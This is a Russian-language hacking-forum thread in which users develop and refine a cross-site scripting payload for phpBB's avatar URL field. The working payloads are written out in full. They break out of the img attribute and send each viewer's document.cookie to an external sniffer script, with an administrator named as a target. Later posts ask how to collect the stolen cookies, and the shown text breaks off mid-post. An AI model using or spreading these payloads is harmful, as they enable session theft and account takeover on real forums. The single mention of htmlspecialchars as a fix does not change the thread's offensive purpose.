Форумы XSS в phpBB

Discussion in 'Уязвимости CMS/форумов' started by zFlex, 27 Dec 2004.

  1. zFlex

    zFlex New Member

    Joined:
    26 Dec 2004
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    йопт!! запарился уже... мож потому и не могу решить проблему, что она слишком легкая :confused:
    Короче так, на форуме phpBB есть возможность вставлять аватар со своего url , решил проверить на дырочку, и вписал туда javascript:alert();
    в ответ получил:
    <img src="javascript:alert();" alt="" border="0" />
    идем дальше...
    решил проверить на окончание *.jpg , вписав x.jpg и получил:
    <img src="x.jpg" alt="" border="0" />
    затем проверил вписав x.ru x=`x.jpg получил:
    <img src="x.ru x=`x.jpg" alt="" border="0" />
    и т.п.
    Вопрос вот в чем: пишу вместо картинки снифер (http://antichat.ru/cgi-bin/s.jpg) и он прекрасно его ловит, однаком не нужны куки всех, у кого грузится страница с моим аватором, все перепробовал, но нифига не получается :mad: Помогите плзз... :(
     
  2. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Приведи код, который ты вставляешь в форум.
     
  3. zFlex

    zFlex New Member

    Joined:
    26 Dec 2004
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    поэтому и спрашиваю, как код оформить?? Дело в том, что форум съедает любые варианты, т.е. что бы не писалось в поле ссылки на аватар - все будет отображаться как картинка, например:
    пишем в поле bla-bla-bla
    получится <img src="bla-bla-bla" alt="" border="0" />
    пишем javascript:alert(document.cookie)
    и при загрузки страницы нам открывается alert окно в котором наши куки, а в html-тегах видим <img src="javascript:alert(document.cookie)" alt="" border="0" />
    Словом, все, что бы Мы не писали в графе аватара, форум будет съедать как картинку <img src="наш текст">
    Вот Я и спрашиваю, как мне вместо отображения document.cookie у юзера отдать запрос сниферу, что бы он их словил, а у юзера ни чего не отображалось?? Многое пререпробовал, но результат один и тот же - снифер ловит opener.location (url на котором находится юзер), то бишь адрес, откуда был вызван снифер, а не document.cookie - его куки...
    Потенциальная дырка есть, но ее нужно оформить!! Есть идеи?! ;)
     
  4. zFlex

    zFlex New Member

    Joined:
    26 Dec 2004
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Ура-а-а-а-а-а!!!!!! Решение найдено!! :cool: ;) :p
     
    #4 zFlex, 29 Dec 2004
    Last edited: 13 Jan 2005
  5. zFlex

    zFlex New Member

    Joined:
    26 Dec 2004
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Короче так... :cool:
    Есть в phpBB такая хреновина, как аватар и там нет фильтра на спец символы, а это нам позволяет делать все, что вздумается ;) Инфы об этом XSS ни где не встречал, поэтому можно считать новой :rolleyes:

    XSS такой:
    http://[target].jpg" style="background:url(javascript:document.images[0].src=/http:xxlocalhostx1.php?/.source.replace(/x/g,String.fromCharCode(47))+document.cookie)
    где [target] - url на реальную картинку
    localhost - url снифера

    В ответ от сервера получаем в html-тегах:
    <img src="http://[target].jpg" style="background:url(javascript:document.images[0].src=/http:xxlocalhostx1.php?/.source.replace(/x/g,String.fromCharCode(47))+document.cookie)" alt="" border="0" />

    таким образом грузится картинка, не доставляющая жертве (ею может быть админ) ни каких неудобств, в то время как его куки уходят к сниферу :rolleyes:

    з.ы. кто первый - тот и пускай пишет ролик для видео.античат.ру , тока просьба указать, что эту ни кому не приметную багу нашел zFlex.
    С ув., Йа ))
     
  6. alien51

    alien51 New Member

    Joined:
    12 Jan 2005
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Мля мля неработает ...
    Как именно вставить в сообщение на форуме эту штуку ??
     
  7. >>ElvI$<<

    >>ElvI$<< Elder - Старейшина

    Joined:
    12 Jan 2005
    Messages:
    42
    Likes Received:
    4
    Reputations:
    -3
    Блин,ты че глупый,какой нафиг сообщение в форуме...это вставляется в АФАТАР!!!т.е. когда регаешься или редактируешь свой акк,там пишешь,где url: http://[target].jpg" style="background:url(javascript:document.images[0].src=/http:xxlocalhostx1.php?/.source.replace(/x/g,String.fromCharCode(47))+document.cookie)?


    P.s.: я могу написать видео...
     
  8. >>ElvI$<<

    >>ElvI$<< Elder - Старейшина

    Joined:
    12 Jan 2005
    Messages:
    42
    Likes Received:
    4
    Reputations:
    -3
    Обломчик,на большенстве серверов стоит блок 8)
     
  9. alien51

    alien51 New Member

    Joined:
    12 Jan 2005
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    А где скрипт взять, который записывал бы их в отдельное файло ? У меня есть но они неканают или я чё то неправельно делаю....
    и ещё

    Дак вот как привельно составить эту строчку и почему у меня это дело всё неработает ... ваще Шляпа какая то :| :mad:
     
  10. alien51

    alien51 New Member

    Joined:
    12 Jan 2005
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Парни помогите или дайте ссылку на мануал ..... нужно ... или оправте скрипт и ссылку на мыло [email protected] заранее спасибо.
     
  11. zFlex

    zFlex New Member

    Joined:
    26 Dec 2004
    Messages:
    5
    Likes Received:
    0
    Reputations:
    0
    Вот пример:
    Code:
    [COLOR=Yellow]http://www.smailiki.nm.ru/lam/lam4.gif" style="background:url(javascript:document.images[0].src=/http:xxantichat.ruxcgi-binxs.jpg?/.source.replace(/x/g,String.fromCharCode(47))+document.cookie)[/COLOR]
    
    Кто будет писать видео, просьба написать, что уязвимость нашел Mr. Iron (icq # 9170797)
    Самое простое решение против этого XSS - это htmlspecialchars()
    ;)
     
    #11 zFlex, 13 Jan 2005
    Last edited by a moderator: 13 Jan 2005
  12. Егорыч+++

    Staff Member

    Joined:
    27 May 2002
    Messages:
    1,373
    Likes Received:
    895
    Reputations:
    20
    да прикольно..
     
  13. Егорыч+++

    Staff Member

    Joined:
    27 May 2002
    Messages:
    1,373
    Likes Received:
    895
    Reputations:
    20
    Плохо что максимум что можно с этого взять это базу пользователей
     
  14. >>ElvI$<<

    >>ElvI$<< Elder - Старейшина

    Joined:
    12 Jan 2005
    Messages:
    42
    Likes Received:
    4
    Reputations:
    -3
    Кстате,под эту уязвимость не попадает Phpbb 2.0.11 ....
    если я не прав... заделитесь ссылочкой Icq:937843
     
  15. Algol

    Algol New Member

    Joined:
    29 May 2002
    Messages:
    1,759
    Likes Received:
    4
    Reputations:
    0
    Тока зря все эти шаманские танцы с .source.replace(/x/g,String.fromCharCode(47))
    Это можно сделать намного проще:
    Code:
    http://www.smailiki.nm.ru/lam/lam4.gif" bb="http://antichat.ru/cgi-bin/s.jpg?" style="background:url(javascript:document.images[0].src=this.bb+document.cookie)
    
    :D
     
  16. TORn@Do

    TORn@Do Banned

    Joined:
    14 Jan 2005
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    урааааааааа Работает даже на версси PHPBB 2.0.11
     
  17. TORn@Do

    TORn@Do Banned

    Joined:
    14 Jan 2005
    Messages:
    8
    Likes Received:
    0
    Reputations:
    0
    plunul eto:
    document.writeln (
    "<a target=_blank href='http://ad.strict.tbn.ru/bb.cgi?cmd=go&r=r_ssi" +
    "&vbn=353&pac=2836328&pnm=7&bac=69735877&bnm=2&ref=http%3A%2F%2Ftattoo%2Efani%2Eru%2F&loc=&htr=http%3A%2F%2Ftattoo%2Efani%2Eru%2Fgallery%2F'>" +
    "<img src='http://195.161.118.159/69735/69735877_2.gif' border=0 width=468 height=60 alt=\"TBN -- The Banner Network\" title=\"TBN -- The Banner Network\"></a>"
    );
     
  18. A1ien

    A1ien New Member

    Joined:
    15 Jan 2005
    Messages:
    1
    Likes Received:
    0
    Reputations:
    0
    И куда сохраняется файл с Хешами ???
     
  19. alien51

    alien51 New Member

    Joined:
    12 Jan 2005
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Вот вот где путь то на скрип и какой должен быть скрипт ... ??
     
  20. b00

    b00 New Member

    Joined:
    15 Jan 2005
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    Ой ли. У меня на форуме кавычки спокойно квотируются:
    <img src="http://avatar.com/x.jpg&quot; bb=&quot;http://antichat.ru